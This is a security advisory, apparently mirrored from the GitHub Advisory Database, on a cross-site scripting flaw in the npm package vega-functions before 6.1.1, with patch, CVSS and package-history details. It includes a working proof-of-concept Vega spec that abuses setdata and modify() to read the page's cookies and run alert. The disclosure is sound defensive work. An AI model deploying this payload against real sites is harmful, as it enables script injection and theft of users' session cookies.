`vega-functions` vulnerable to Cross-site Scripting via `setdata` function
Impact
For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).
Patches
Fixed in vega-functions 6.1.1
Workarounds
There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.
Exploit Proof of Concept
Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:
{
"$schema": "https://vega.github.io/schema/vega/v6.json",
"data": [
{
"name": "table",
"values": [
{"category": "A", "amount": 28}
]
}
],
"signals": [
{
"name": "tooltip",
"value": {},
"on": [
{"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
{"events": "rect:pointerout", "update": "{}"}
]
}
]
}Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vega-functions | < 6.1.1 | 6.1.1 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N- Weakness (CWE)
CWE-79- Platform
- npm
- Package
vega-functions- Disclosed
- 05.01.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-m9rg-mr6g-75gm - CC BY 4.0
Vulnerability history: vega-functions
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 5
- First → latest
- 03.2023 01.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 4
Disclosures per year
- 2023: 2
- 2024: 0
- 2025: 2
- 2026: 1
-
`vega-functions` vulnerable to Cross-site Scripting via `setdata` function this entry
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